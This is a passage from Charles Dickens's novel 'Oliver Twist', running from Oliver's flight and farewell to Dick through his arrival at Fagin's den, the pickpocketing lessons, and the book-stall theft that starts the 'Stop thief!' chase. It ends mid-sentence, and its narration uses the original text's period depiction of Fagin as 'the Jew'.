availed himself of the +expiring light of the candle to tie up in a handkerchief the few +articles of wearing apparel he had, sat himself down upon a +bench, to wait for morning. + +With the first ray of light that struggled through the crevices +in the shutters, Oliver arose, and again unbarred the door. One +timid look around--one moment's pause of hesitation--he had +closed it behind him, and was in the open street. + +He looked to the right and to the left, uncertain whither to fly. + +He remembered to have seen the waggons, as they went out, toiling +up the hill. He took the same route; and arriving at a footpath +across the fields: which he knew, after some distance, led out +again into the road; struck into it, and walked quickly on. + +Along this same footpath, Oliver well-remembered he had trotted +beside Mr. Bumble, when he first carried him to the workhouse +from the farm. His way lay directly in front of the cottage. +His heart beat quickly when he bethought himself of this; and he +half resolved to turn back. He had come a long way though, and +should lose a great deal of time by doing so. Besides, it was so +early that there was very little fear of his being seen; so he +walked on. + +He reached the house. There was no appearance of its inmates +stirring at that early hour. Oliver stopped, and peeped into the +garden. A child was weeding one of the little beds; as he +stopped, he raised his pale face and disclosed the features of +one of his former companions. Oliver felt glad to see him, +before he went; for, though younger than himself, he had been his +little friend and playmate. They had been beaten, and starved, +and shut up together, many and many a time. + +'Hush, Dick!' said Oliver, as the boy ran to the gate, and thrust +his thin arm between the rails to greet him. 'Is any one up?' + +'Nobody but me,' replied the child. + +'You musn't say you saw me, Dick,' said Oliver. 'I am running +away. They beat and ill-use me, Dick; and I am going to seek my +fortune, some long way off. I don't know where. How pale you +are!' + +'I heard the doctor tell them I was dying,' replied the child +with a faint smile. 'I am very glad to see you, dear; but don't +stop, don't stop!' + +'Yes, yes, I will, to say good-b'ye to you,' replied Oliver. 'I +shall see you again, Dick. I know I shall! You will be well and +happy!' + +'I hope so,' replied the child. 'After I am dead, but not +before. I know the doctor must be right, Oliver, because I dream +so much of Heaven, and Angels, and kind faces that I never see +when I am awake. Kiss me,' said the child, climbing up the low +gate, and flinging his little arms round Oliver's neck. +'Good-b'ye, dear! God bless you!' + +The blessing was from a young child's lips, but it was the first +that Oliver had ever heard invoked upon his head; and through the +struggles and sufferings, and troubles and changes, of his after +life, he never once forgot it. + + + + +CHAPTER VIII + +OLIVER WALKS TO LONDON. HE ENCOUNTERS ON THE ROAD A STRANGE SORT +OF YOUNG GENTLEMAN + +Oliver reached the stile at which the by-path terminated; and +once more gained the high-road. It was eight o'clock now. Though +he was nearly five miles away from the town, he ran, and hid +behind the hedges, by turns, till noon: fearing that he might be +pursued and overtaken. Then he sat down to rest by the side of +the milestone, and began to think, for the first time, where he +had better go and try to live. + +The stone by which he was seated, bore, in large characters, an +intimation that it was just seventy miles from that spot to +London. The name awakened a new train of ideas in the boy's mind. + +London!--that great place!--nobody--not even Mr. Bumble--could +ever find him there! He had often heard the old men in the +workhouse, too, say that no lad of spirit need want in London; +and that there were ways of living in that vast city, which those +who had been bred up in country parts had no idea of. It was the +very place for a homeless boy, who must die in the streets unless +some one helped him. As these things passed through his thoughts, +he jumped upon his feet, and again walked forward. + +He had diminished the distance between himself and London by full +four miles more, before he recollected how much he must undergo +ere he could hope to reach his place of destination. As this +consideration forced itself upon him, he slackened his pace a +little, and meditated upon his means of getting there. He had a +crust of bread, a coarse shirt, and two pairs of stockings, in +his bundle. He had a penny too--a gift of Sowerberry's after +some funeral in which he had acquitted himself more than +ordinarily well--in his pocket. 'A clean shirt,' thought Oliver, +'is a very comfortable thing; and so are two pairs of darned +stockings; and so is a penny; but they are small helps to a +sixty-five miles' walk in winter time.' But Oliver's thoughts, +like those of most other people, although they were extremely +ready and active to point out his difficulties, were wholly at a +loss to suggest any feasible mode of surmounting them; so, after +a good deal of thinking to no particular purpose, he changed his +little bundle over to the other shoulder, and trudged on. + +Oliver walked twenty miles that day; and all that time tasted +nothing but the crust of dry bread, and a few draughts of water, +which he begged at the cottage-doors by the road-side. When the +night came, he turned into a meadow; and, creeping close under a +hay-rick, determined to lie there, till morning. He felt +frightened at first, for the wind moaned dismally over the empty +fields: and he was cold and hungry, and more alone than he had +ever felt before. Being very tired with his walk, however, he +soon fell asleep and forgot his troubles. + +He felt cold and stiff, when he got up next morning, and so +hungry that he was obliged to exchange the penny for a small +loaf, in the very first village through which he passed. He had +walked no more than twelve miles, when night closed in again. +His feet were sore, and his legs so weak that they trembled +beneath him. Another night passed in the bleak damp air, made +him worse; when he set forward on his journey next morning he +could hardly crawl along. + +He waited at the bottom of a steep hill till a stage-coach came +up, and then begged of the outside passengers; but there were +very few who took any notice of him: and even those told him to +wait till they got to the top of the hill, and then let them see +how far he could run for a halfpenny. Poor Oliver tried to keep +up with the coach a little way, but was unable to do it, by +reason of his fatigue and sore feet. When the outsides saw this, +they put their halfpence back into their pockets again, declaring +that he was an idle young dog, and didn't deserve anything; and +the coach rattled away and left only a cloud of dust behind. + +In some villages, large painted boards were fixed up: warning all +persons who begged within the district, that they would be sent +to jail. This frightened Oliver very much, and made him glad to +get out of those villages with all possible expedition. In +others, he would stand about the inn-yards, and look mournfully +at every one who passed: a proceeding which generally terminated +in the landlady's ordering one of the post-boys who were lounging +about, to drive that strange boy out of the place, for she was +sure he had come to steal something. If he begged at a farmer's +house, ten to one but they threatened to set the dog on him; and +when he showed his nose in a shop, they talked about the +beadle--which brought Oliver's heart into his mouth,--very often +the only thing he had there, for many hours together. + +In fact, if it had not been for a good-hearted turnpike-man, and +a benevolent old lady, Oliver's troubles would have been +shortened by the very same process which had put an end to his +mother's; in other words, he would most assuredly have fallen +dead upon the king's highway. But the turnpike-man gave him a +meal of bread and cheese; and the old lady, who had a shipwrecked +grandson wandering barefoot in some distant part of the earth, +took pity upon the poor orphan, and gave him what little she +could afford--and more--with such kind and gentle words, and such +tears of sympathy and compassion, that they sank deeper into +Oliver's soul, than all the sufferings he had ever undergone. + +Early on the seventh morning after he had left his native place, +Oliver limped slowly into the little town of Barnet. The +window-shutters were closed; the street was empty; not a soul had +awakened to the business of the day. The sun was rising in all +its splendid beauty; but the light only served to show the boy +his own lonesomeness and desolation, as he sat, with bleeding +feet and covered with dust, upon a door-step. + +By degrees, the shutters were opened; the window-blinds were +drawn up; and people began passing to and fro. Some few stopped +to gaze at Oliver for a moment or two, or turned round to stare +at him as they hurried by; but none relieved him, or troubled +themselves to inquire how he came there. He had no heart to beg. +And there he sat. + +He had been crouching on the step for some time: wondering at +the great number of public-houses (every other house in Barnet +was a tavern, large or small), gazing listlessly at the coaches +as they passed through, and thinking how strange it seemed that +they could do, with ease, in a few hours, what it had taken him a +whole week of courage and determination beyond his years to +accomplish: when he was roused by observing that a boy, who had +passed him carelessly some minutes before, had returned, and was +now surveying him most earnestly from the opposite side of the +way. He took little heed of this at first; but the boy remained +in the same attitude of close observation so long, that Oliver +raised his head, and returned his steady look. Upon this, the +boy crossed over; and walking close up to Oliver, said, + +'Hullo, my covey! What's the row?' + +The boy who addressed this inquiry to the young wayfarer, was +about his own age: but one of the queerest looking boys that +Oliver had even seen. He was a snub-nosed, flat-browed, +common-faced boy enough; and as dirty a juvenile as one would +wish to see; but he had about him all the airs and manners of a +man. He was short of his age: with rather bow-legs, and little, +sharp, ugly eyes. His hat was stuck on the top of his head so +lightly, that it threatened to fall off every moment--and would +have done so, very often, if the wearer had not had a knack of +every now and then giving his head a sudden twitch, which brought +it back to its old place again. He wore a man's coat, which +reached nearly to his heels. He had turned the cuffs back, +half-way up his arm, to get his hands out of the sleeves: +apparently with the ultimate view of thrusting them into the +pockets of his corduroy trousers; for there he kept them. He +was, altogether, as roystering and swaggering a young gentleman +as ever stood four feet six, or something less, in the bluchers. + +'Hullo, my covey! What's the row?' said this strange young +gentleman to Oliver. + +'I am very hungry and tired,' replied Oliver: the tears standing +in his eyes as he spoke. 'I have walked a long way. I have been +walking these seven days.' + +'Walking for sivin days!' said the young gentleman. 'Oh, I see. +Beak's order, eh? But,' he added, noticing Oliver's look of +surprise, 'I suppose you don't know what a beak is, my flash +com-pan-i-on.' + +Oliver mildly replied, that he had always heard a bird's mouth +described by the term in question. + +'My eyes, how green!' exclaimed the young gentleman. 'Why, a +beak's a madgst'rate; and when you walk by a beak's order, it's +not straight forerd, but always agoing up, and niver a coming +down agin. Was you never on the mill?' + +'What mill?' inquired Oliver. + +'What mill! Why, _the_ mill--the mill as takes up so little room +that it'll work inside a Stone Jug; and always goes better when +the wind's low with people, than when it's high; acos then they +can't get workmen. But come,' said the young gentleman; 'you +want grub, and you shall have it. I'm at low-water-mark +myself--only one bob and a magpie; but, as far as it goes, I'll +fork out and stump. Up with you on your pins. There! Now then! +'Morrice!' + +Assisting Oliver to rise, the young gentleman took him to an +adjacent chandler's shop, where he purchased a sufficiency of +ready-dressed ham and a half-quartern loaf, or, as he himself +expressed it, 'a fourpenny bran!' the ham being kept clean and +preserved from dust, by the ingenious expedient of making a hole +in the loaf by pulling out a portion of the crumb, and stuffing +it therein. Taking the bread under his arm, the young gentlman +turned into a small public-house, and led the way to a tap-room +in the rear of the premises. Here, a pot of beer was brought in, +by direction of the mysterious youth; and Oliver, falling to, at +his new friend's bidding, made a long and hearty meal, during the +progress of which the strange boy eyed him from time to time with +great attention. + +'Going to London?' said the strange boy, when Oliver had at +length concluded. + +'Yes.' + +'Got any lodgings?' + +'No.' + +'Money?' + +'No.' + +The strange boy whistled; and put his arms into his pockets, as +far as the big coat-sleeves would let them go. + +'Do you live in London?' inquired Oliver. + +'Yes. I do, when I'm at home,' replied the boy. 'I suppose you +want some place to sleep in to-night, don't you?' + +'I do, indeed,' answered Oliver. 'I have not slept under a roof +since I left the country.' + +'Don't fret your eyelids on that score,' said the young +gentleman. 'I've got to be in London to-night; and I know a +'spectable old gentleman as lives there, wot'll give you lodgings +for nothink, and never ask for the change--that is, if any +genelman he knows interduces you. And don't he know me? Oh, no! +Not in the least! By no means. Certainly not!' + +The young gentleman smiled, as if to intimate that the latter +fragments of discourse were playfully ironical; and finished the +beer as he did so. + +This unexpected offer of shelter was too tempting to be resisted; +especially as it was immediately followed up, by the assurance +that the old gentleman referred to, would doubtless provide +Oliver with a comfortable place, without loss of time. This led +to a more friendly and confidential dialogue; from which Oliver +discovered that his friend's name was Jack Dawkins, and that he +was a peculiar pet and protege of the elderly gentleman before +mentioned. + +Mr. Dawkin's appearance did not say a vast deal in favour of the +comforts which his patron's interest obtained for those whom he +took under his protection; but, as he had a rather flightly and +dissolute mode of conversing, and furthermore avowed that among +his intimate friends he was better known by the sobriquet of 'The +Artful Dodger,' Oliver concluded that, being of a dissipated and +careless turn, the moral precepts of his benefactor had hitherto +been thrown away upon him. Under this impression, he secretly +resolved to cultivate the good opinion of the old gentleman as +quickly as possible; and, if he found the Dodger incorrigible, as +he more than half suspected he should, to decline the honour of +his farther acquaintance. + +As John Dawkins objected to their entering London before +nightfall, it was nearly eleven o'clock when they reached the +turnpike at Islington. They crossed from the Angel into St. +John's Road; struck down the small street which terminates at +Sadler's Wells Theatre; through Exmouth Street and Coppice Row; +down the little court by the side of the workhouse; across the +classic ground which once bore the name of Hockley-in-the-Hole; +thence into Little Saffron Hill; and so into Saffron Hill the +Great: along which the Dodger scudded at a rapid pace, directing +Oliver to follow close at his heels. + +Although Oliver had enough to occupy his attention in keeping +sight of his leader, he could not help bestowing a few hasty +glances on either side of the way, as he passed along. A dirtier +or more wretched place he had never seen. The street was very +narrow and muddy, and the air was impregnated with filthy odours. + +There were a good many small shops; but the only stock in trade +appeared to be heaps of children, who, even at that time of +night, were crawling in and out at the doors, or screaming from +the inside. The sole places that seemed to prosper amid the +general blight of the place, were the public-houses; and in them, +the lowest orders of Irish were wrangling with might and main. +Covered ways and yards, which here and there diverged from the +main street, disclosed little knots of houses, where drunken men +and women were positively wallowing in filth; and from several of +the door-ways, great ill-looking fellows were cautiously +emerging, bound, to all appearance, on no very well-disposed or +harmless errands. + +Oliver was just considering whether he hadn't better run away, +when they reached the bottom of the hill. His conductor, +catching him by the arm, pushed open the door of a house near +Field Lane; and drawing him into the passage, closed it behind +them. + +'Now, then!' cried a voice from below, in reply to a whistle from +the Dodger. + +'Plummy and slam!' was the reply. + +This seemed to be some watchword or signal that all was right; +for the light of a feeble candle gleamed on the wall at the +remote end of the passage; and a man's face peeped out, from +where a balustrade of the old kitchen staircase had been broken +away. + +'There's two on you,' said the man, thrusting the candle farther +out, and shielding his eyes with his hand. 'Who's the t'other +one?' + +'A new pal,' replied Jack Dawkins, pulling Oliver forward. + +'Where did he come from?' + +'Greenland. Is Fagin upstairs?' + +'Yes, he's a sortin' the wipes. Up with you!' The candle was +drawn back, and the face disappeared. + +Oliver, groping his way with one hand, and having the other +firmly grasped by his companion, ascended with much difficulty +the dark and broken stairs: which his conductor mounted with an +ease and expedition that showed he was well acquainted with them. + +He threw open the door of a back-room, and drew Oliver in after +him. + +The walls and ceiling of the room were perfectly black with age +and dirt. There was a deal table before the fire: upon which +were a candle, stuck in a ginger-beer bottle, two or three pewter +pots, a loaf and butter, and a plate. In a frying-pan, which was +on the fire, and which was secured to the mantelshelf by a +string, some sausages were cooking; and standing over them, with +a toasting-fork in his hand, was a very old shrivelled Jew, whose +villainous-looking and repulsive face was obscured by a quantity +of matted red hair. He was dressed in a greasy flannel gown, with +his throat bare; and seemed to be dividing his attention between +the frying-pan and the clothes-horse, over which a great number +of silk handkerchiefs were hanging. Several rough beds made of +old sacks, were huddled side by side on the floor. Seated round +the table were four or five boys, none older than the Dodger, +smoking long clay pipes, and drinking spirits with the air of +middle-aged men. These all crowded about their associate as he +whispered a few words to the Jew; and then turned round and +grinned at Oliver. So did the Jew himself, toasting-fork in +hand. + +'This is him, Fagin,' said Jack Dawkins;'my friend Oliver +Twist.' + +The Jew grinned; and, making a low obeisance to Oliver, took him +by the hand, and hoped he should have the honour of his intimate +acquaintance. Upon this, the young gentleman with the pipes came +round him, and shook both his hands very hard--especially the one +in which he held his little bundle. One young gentleman was very +anxious to hang up his cap for him; and another was so obliging +as to put his hands in his pockets, in order that, as he was very +tired, he might not have the trouble of emptying them, himself, +when he went to bed. These civilities would probably be extended +much farther, but for a liberal exercise of the Jew's +toasting-fork on the heads and shoulders of the affectionate +youths who offered them. + +'We are very glad to see you, Oliver, very,' said the Jew. +'Dodger, take off the sausages; and draw a tub near the fire for +Oliver. Ah, you're a-staring at the pocket-handkerchiefs! eh, my +dear. There are a good many of 'em, ain't there? We've just +looked 'em out, ready for the wash; that's all, Oliver; that's +all. Ha! ha! ha!' + +The latter part of this speech, was hailed by a boisterous shout +from all the hopeful pupils of the merry old gentleman. In the +midst of which they went to supper. + +Oliver ate his share, and the Jew then mixed him a glass of hot +gin-and-water: telling him he must drink it off directly, +because another gentleman wanted the tumbler. Oliver did as he +was desired. Immediately afterwards he felt himself gently +lifted on to one of the sacks; and then he sunk into a deep +sleep. + + + + +CHAPTER IX + +CONTAINING FURTHER PARTICULARS CONCERNING THE PLEASANT OLD +GENTLEMAN, AND HIS HOPEFUL PUPILS + +It was late next morning when Oliver awoke, from a sound, long +sleep. There was no other person in the room but the old Jew, +who was boiling some coffee in a saucepan for breakfast, and +whistling softly to himself as he stirred it round and round, +with an iron spoon. He would stop every now and then to listen +when there was the least noise below: and when he had satistified +himself, he would go on whistling and stirring again, as before. + +Although Oliver had roused himself from sleep, he was not +thoroughly awake. There is a drowsy state, between sleeping and +waking, when you dream more in five minutes with your eyes half +open, and yourself half conscious of everything that is passing +around you, than you would in five nights with your eyes fast +closed, and your senses wrapt in perfect unconsciousness. At +such time, a mortal knows just enough of what his mind is doing, +to form some glimmering conception of its mighty powers, its +bounding from earth and spurning time and space, when freed from +the restraint of its corporeal associate. + +Oliver was precisely in this condition. He saw the Jew with his +half-closed eyes; heard his low whistling; and recognised the +sound of the spoon grating against the saucepan's sides: and yet +the self-same senses were mentally engaged, at the same time, in +busy action with almost everybody he had ever known. + +When the coffee was done, the Jew drew the saucepan to the hob. +Standing, then in an irresolute attitude for a few minutes, as if +he did not well know how to employ himself, he turned round and +looked at Oliver, and called him by his name. He did not answer, +and was to all appearances asleep. + +After satisfying himself upon this head, the Jew stepped gently +to the door: which he fastened. He then drew forth: as it +seemed to Oliver, from some trap in the floor: a small box, +which he placed carefully on the table. His eyes glistened as he +raised the lid, and looked in. Dragging an old chair to the +table, he sat down; and took from it a magnificent gold watch, +sparkling with jewels. + +'Aha!' said the Jew, shrugging up his shoulders, and distorting +every feature with a hideous grin. 'Clever dogs! Clever dogs! +Staunch to the last! Never told the old parson where they were. +Never poached upon old Fagin! And why should they? It wouldn't +have loosened the knot, or kept the drop up, a minute longer. +No, no, no! Fine fellows! Fine fellows!' + +With these, and other muttered reflections of the like nature, +the Jew once more deposited the watch in its place of safety. At +least half a dozen more were severally drawn forth from the same +box, and surveyed with equal pleasure; besides rings, brooches, +bracelets, and other articles of jewellery, of such magnificent +materials, and costly workmanship, that Oliver had no idea, even +of their names. + +Having replaced these trinkets, the Jew took out another: so +small that it lay in the palm of his hand. There seemed to be +some very minute inscription on it; for the Jew laid it flat upon +the table, and shading it with his hand, pored over it, long and +earnestly. At length he put it down, as if despairing of +success; and, leaning back in his chair, muttered: + +'What a fine thing capital punishment is! Dead men never repent; +dead men never bring awkward stories to light. Ah, it's a fine +thing for the trade! Five of 'em strung up in a row, and none +left to play booty, or turn white-livered!' + +As the Jew uttered these words, his bright dark eyes, which had +been staring vacantly before him, fell on Oliver's face; the +boy's eyes were fixed on his in mute curiousity; and although the +recognition was only for an instant--for the briefest space of +time that can possibly be conceived--it was enough to show the +old man that he had been observed. + +He closed the lid of the box with a loud crash; and, laying his +hand on a bread knife which was on the table, started furiously +up. He trembled very much though; for, even in his terror, +Oliver could see that the knife quivered in the air. + +'What's that?' said the Jew. 'What do you watch me for? Why are +you awake? What have you seen? Speak out, boy! Quick--quick! +for your life. + +'I wasn't able to sleep any longer, sir,' replied Oliver, meekly. +'I am very sorry if I have disturbed you, sir.' + +'You were not awake an hour ago?' said the Jew, scowling fiercely +on the boy. + +'No! No, indeed!' replied Oliver. + +'Are you sure?' cried the Jew: with a still fiercer look than +before: and a threatening attitude. + +'Upon my word I was not, sir,' replied Oliver, earnestly. 'I was +not, indeed, sir.' + +'Tush, tush, my dear!' said the Jew, abruptly resuming his old +manner, and playing with the knife a little, before he laid it +down; as if to induce the belief that he had caught it up, in +mere sport. 'Of course I know that, my dear. I only tried to +frighten you. You're a brave boy. Ha! ha! you're a brave boy, +Oliver.' The Jew rubbed his hands with a chuckle, but glanced +uneasily at the box, notwithstanding. + +'Did you see any of these pretty things, my dear?' said the Jew, +laying his hand upon it after a short pause. + +'Yes, sir,' replied Oliver. + +'Ah!' said the Jew, turning rather pale. 'They--they're mine, +Oliver; my little property. All I have to live upon, in my old +age. The folks call me a miser, my dear. Only a miser; that's +all.' + +Oliver thought the old gentleman must be a decided miser to live +in such a dirty place, with so many watches; but, thinking that +perhaps his fondness for the Dodger and the other boys, cost him +a good deal of money, he only cast a deferential look at the Jew, +and asked if he might get up. + +'Certainly, my dear, certainly,' replied the old gentleman. +'Stay. There's a pitcher of water in the corner by the door. +Bring it here; and I'll give you a basin to wash in, my dear.' + +Oliver got up; walked across the room; and stooped for an instant +to raise the pitcher. When he turned his head, the box was gone. + +He had scarcely washed himself, and made everything tidy, by +emptying the basin out of the window, agreeably to the Jew's +directions, when the Dodger returned: accompanied by a very +sprightly young friend, whom Oliver had seen smoking on the +previous night, and who was now formally introduced to him as +Charley Bates. The four sat down, to breakfast, on the coffee, +and some hot rolls and ham which the Dodger had brought home in +the crown of his hat. + +'Well,' said the Jew, glancing slyly at Oliver, and addressing +himself to the Dodger, 'I hope you've been at work this morning, +my dears?' + +'Hard,' replied the Dodger. + +'As nails,' added Charley Bates. + +'Good boys, good boys!' said the Jew. 'What have you got, +Dodger?' + +'A couple of pocket-books,' replied that young gentlman. + +'Lined?' inquired the Jew, with eagerness. + +'Pretty well,' replied the Dodger, producing two pocket-books; +one green, and the other red. + +'Not so heavy as they might be,' said the Jew, after looking at +the insides carefully; 'but very neat and nicely made. Ingenious +workman, ain't he, Oliver?' + +'Very indeed, sir,' said Oliver. At which Mr. Charles Bates +laughed uproariously; very much to the amazement of Oliver, who +saw nothing to laugh at, in anything that had passed. + +'And what have you got, my dear?' said Fagin to Charley Bates. + +'Wipes,' replied Master Bates; at the same time producing four +pocket-handkerchiefs. + +'Well,' said the Jew, inspecting them closely; 'they're very good +ones, very. You haven't marked them well, though, Charley; so +the marks shall be picked out with a needle, and we'll teach +Oliver how to do it. Shall us, Oliver, eh? Ha! ha! ha!' + +'If you please, sir,' said Oliver. + +'You'd like to be able to make pocket-handkerchiefs as easy as +Charley Bates, wouldn't you, my dear?' said the Jew. + +'Very much, indeed, if you'll teach me, sir,' replied Oliver. + +Master Bates saw something so exquisitely ludicrous in this +reply, that he burst into another laugh; which laugh, meeting the +coffee he was drinking, and carrying it down some wrong channel, +very nearly terminated in his premature suffocation. + +'He is so jolly green!' said Charley when he recovered, as an +apology to the company for his unpolite behaviour. + +The Dodger said nothing, but he smoothed Oliver's hair over his +eyes, and said he'd know better, by and by; upon which the old +gentleman, observing Oliver's colour mounting, changed the +subject by asking whether there had been much of a crowd at the +execution that morning? This made him wonder more and more; for +it was plain from the replies of the two boys that they had both +been there; and Oliver naturally wondered how they could possibly +have found time to be so very industrious. + +When the breakfast was cleared away; the merry old gentlman and +the two boys played at a very curious and uncommon game, which +was performed in this way. The merry old gentleman, placing a +snuff-box in one pocket of his trousers, a note-case in the +other, and a watch in his waistcoat pocket, with a guard-chain +round his neck, and sticking a mock diamond pin in his shirt: +buttoned his coat tight round him, and putting his spectacle-case +and handkerchief in his pockets, trotted up and down the room +with a stick, in imitation of the manner in which old gentlemen +walk about the streets any hour in the day. Sometimes he stopped +at the fire-place, and sometimes at the door, making believe that +he was staring with all his might into shop-windows. At such +times, he would look constantly round him, for fear of thieves, +and would keep slapping all his pockets in turn, to see that he +hadn't lost anything, in such a very funny and natural manner, +that Oliver laughed till the tears ran down his face. All this +time, the two boys followed him closely about: getting out of +his sight, so nimbly, every time he turned round, that it was +impossible to follow their motions. At last, the Dodger trod +upon his toes, or ran upon his boot accidently, while Charley +Bates stumbled up against him behind; and in that one moment they +took from him, with the most extraordinary rapidity, snuff-box, +note-case, watch-guard, chain, shirt-pin, pocket-handkerchief, +even the spectacle-case. If the old gentlman felt a hand in any +one of his pockets, he cried out where it was; and then the game +began all over again. + +When this game had been played a great many times, a couple of +young ladies called to see the young gentleman; one of whom was +named Bet, and the other Nancy. They wore a good deal of hair, +not very neatly turned up behind, and were rather untidy about +the shoes and stockings. They were not exactly pretty, perhaps; +but they had a great deal of colour in their faces, and looked +quite stout and hearty. Being remarkably free and agreeable in +their manners, Oliver thought them very nice girls indeed. As +there is no doubt they were. + +The visitors stopped a long time. Spirits were produced, in +consequence of one of the young ladies complaining of a coldness +in her inside; and the conversation took a very convivial and +improving turn. At length, Charley Bates expressed his opinion +that it was time to pad the hoof. This, it occurred to Oliver, +must be French for going out; for directly afterwards, the +Dodger, and Charley, and the two young ladies, went away +together, having been kindly furnished by the amiable old Jew +with money to spend. + +'There, my dear,' said Fagin. 'That's a pleasant life, isn't it? +They have gone out for the day.' + +'Have they done work, sir?' inquired Oliver. + +'Yes,' said the Jew; 'that is, unless they should unexpectedly +come across any, when they are out; and they won't neglect it, if +they do, my dear, depend upon it. Make 'em your models, my dear. +Make 'em your models,' tapping the fire-shovel on the hearth to +add force to his words; 'do everything they bid you, and take +their advice in all matters--especially the Dodger's, my dear. +He'll be a great man himself, and will make you one too, if you +take pattern by him.--Is my handkerchief hanging out of my +pocket, my dear?' said the Jew, stopping short. + +'Yes, sir,' said Oliver. + +'See if you can take it out, without my feeling it; as you saw +them do, when we were at play this morning.' + +Oliver held up the bottom of the pocket with one hand, as he had +seen the Dodger hold it, and drew the handkerchief lightly out of +it with the other. + +'Is it gone?' cried the Jew. + +'Here it is, sir,' said Oliver, showing it in his hand. + +'You're a clever boy, my dear,' said the playful old gentleman, +patting Oliver on the head approvingly. 'I never saw a sharper +lad. Here's a shilling for you. If you go on, in this way, +you'll be the greatest man of the time. And now come here, and +I'll show you how to take the marks out of the handkerchiefs.' + +Oliver wondered what picking the old gentleman's pocket in play, +had to do with his chances of being a great man. But, thinking +that the Jew, being so much his senior, must know best, he +followed him quietly to the table, and was soon deeply involved +in his new study. + + + + +CHAPTER X + +OLIVER BECOMES BETTER ACQUAINTED WITH THE CHARACTERS OF HIS NEW +ASSOCIATES; AND PURCHASES EXPERIENCE AT A HIGH PRICE. BEING A +SHORT, BUT VERY IMPORTANT CHAPTER, IN THIS HISTORY + +For many days, Oliver remained in the Jew's room, picking the +marks out of the pocket-handkerchief, (of which a great number +were brought home,) and sometimes taking part in the game already +described: which the two boys and the Jew played, regularly, +every morning. At length, he began to languish for fresh air, and +took many occasions of earnestly entreating the old gentleman to +allow him to go out to work with his two companions. + +Oliver was rendered the more anxious to be actively employed, by +what he had seen of the stern morality of the old gentleman's +character. Whenever the Dodger or Charley Bates came home at +night, empty-handed, he would expatiate with great vehemence on +the misery of idle and lazy habits; and would enforce upon them +the necessity of an active life, by sending them supperless to +bed. On one occasion, indeed, he even went so far as to knock +them both down a flight of stairs; but this was carrying out his +virtuous precepts to an unusual extent. + +At length, one morning, Oliver obtained the permission he had so +eagerly sought. There had been no handkerchiefs to work upon, +for two or three days, and the dinners had been rather meagre. +Perhaps these were reasons for the old gentleman's giving his +assent; but, whether they were or no, he told Oliver he might go, +and placed him under the joint guardianship of Charley Bates, and +his friend the Dodger. + +The three boys sallied out; the Dodger with his coat-sleeves +tucked up, and his hat cocked, as usual; Master Bates sauntering +along with his hands in his pockets; and Oliver between them, +wondering where they were going, and what branch of manufacture +he would be instructed in, first. + +The pace at which they went, was such a very lazy, ill-looking +saunter, that Oliver soon began to think his companions were +going to deceive the old gentleman, by not going to work at all. +The Dodger had a vicious propensity, too, of pulling the caps +from the heads of small boys and tossing them down areas; while +Charley Bates exhibited some very loose notions concerning the +rights of property, by pilfering divers apples and onions from +the stalls at the kennel sides, and thrusting them into pockets +which were so surprisingly capacious, that they seemed to +undermine his whole suit of clothes in every direction. These +things looked so bad, that Oliver was on the point of declaring +his intention of seeking his way back, in the best way he could; +when his thoughts were suddenly directed into another channel, by +a very mysterious change of behaviour on the part of the Dodger. + +They were just emerging from a narrow court not far from the open +square in Clerkenwell, which is yet called, by some strange +perversion of terms, 'The Green': when the Dodger made a sudden +stop; and, laying his finger on his lip, drew his companions back +again, with the greatest caution and circumspection. + +'What's the matter?' demanded Oliver. + +'Hush!' replied the Dodger. 'Do you see that old cove at the +book-stall?' + +'The old gentleman over the way?' said Oliver. 'Yes, I see him.' + +'He'll do,' said the Doger. + +'A prime plant,' observed Master Charley Bates. + +Oliver looked from one to the other, with the greatest surprise; +but he was not permitted to make any inquiries; for the two boys +walked stealthily across the road, and slunk close behind the old +gentleman towards whom his attention had been directed. Oliver +walked a few paces after them; and, not knowing whether to +advance or retire, stood looking on in silent amazement. + +The old gentleman was a very respectable-looking personage, with +a powdered head and gold spectacles. He was dressed in a +bottle-green coat with a black velvet collar; wore white +trousers; and carried a smart bamboo cane under his arm. He had +taken up a book from the stall, and there he stood, reading away, +as hard as if he were in his elbow-chair, in his own study. It +is very possible that he fancied himself there, indeed; for it +was plain, from his abstraction, that he saw not the book-stall, +nor the street, nor the boys, nor, in short, anything but the +book itself: which he was reading straight through: turning +over the leaf when he got to the bottom of a page, beginning at +the top line of the next one, and going regularly on, with the +greatest interest and eagerness. + +What was Oliver's horror and alarm as he stood a few paces off, +looking on with his eyelids as wide open as they would possibly +go, to see the Dodger plunge his hand into the old gentleman's +pocket, and draw from thence a handkerchief! To see him hand the +same to Charley Bates; and finally to behold them, both running +away round the corner at full speed! + +In an instant the whole mystery of the hankerchiefs, and the +watches, and the jewels, and the Jew, rushed upon the boy's mind. + +He stood, for a moment, with the blood so tingling through all +his veins from terror, that he felt as if he were in a burning +fire; then, confused and frightened, he took to his heels; and, +not knowing what he did, made off as fast as he could lay his +feet to the ground. + +This was all done in a minute's space. In the very instant when +Oliver began to run, the old gentleman, putting his hand to his +pocket, and missing his handkerchief, turned sharp round. Seeing +the boy scudding away at such a rapid pace, he very naturally +concluded him to be the depredator; and shouting 'Stop thief!' +with all his might, made off after him, book in hand. + +But the old gentleman was not the only person who raised the +hue-and-cry. The Dodger and Master Bates, unwilling to attract +public attention by running down the open street, had merely +retired into the very first doorway round the corner. They no +sooner heard the cry, and saw Oliver running, than, guessing +exactly how the matter stood, they issued forth with great +promptitude; and, shouting 'Stop thief!' too, joined in the +pursuit like good citizens. + +Although Oliver had been brought up by philosophers, he was not +theoretically acquainted with the beautiful axiom that +self-preservation is the first law of nature. If he had been, +perhaps he would have been prepared for this. Not being +prepared, however, it alarmed him the more; so away he went like +the wind, with the old gentleman and the two boys roaring and +shouting behind him. + +'Stop thief! Stop thief!' There is a magic in the sound. The +tradesman leaves his counter, and the car-man his waggon; the +butcher throws down his tray; the baker his basket; the milkman +his pail; the errand-boy his parcels; the school-boy his marbles; +the paviour his pickaxe; the child his battledore. Away they +run, pell-mell, helter-skelter, slap-dash: tearing, yelling, +screaming, knocking down the passengers as they turn the corners, +rousing up the dogs, and astonishing the fowls: and streets, +squares, and courts, re-echo with the sound. + +'Stop thief! Stop thief!' The cry is taken up by a hundred +voices, and the crowd accumulate at every turning. Away they +fly, splashing through the mud, and rattling along the pavements: +up go the windows, out run the people, onward bear the mob, a +whole audience desert Punch in the very thickest of the plot, +and, joining the rushing throng, swell the shout, and lend fresh +vigour to the cry, 'Stop thief! Stop thief!' + +'Stop thief! Stop thief!' There is a passion FOR _hunting_ +_something_ deeply implanted in the human breast. One wretched +breathless child, panting with exhaustion; terror in his looks; +agony in his eyes; large drops of perspiration streaming down +his face; strains every nerve to make head upon his pursuers; and +as they follow on his track, and gain upon him every instant, +they hail his decreasing strength 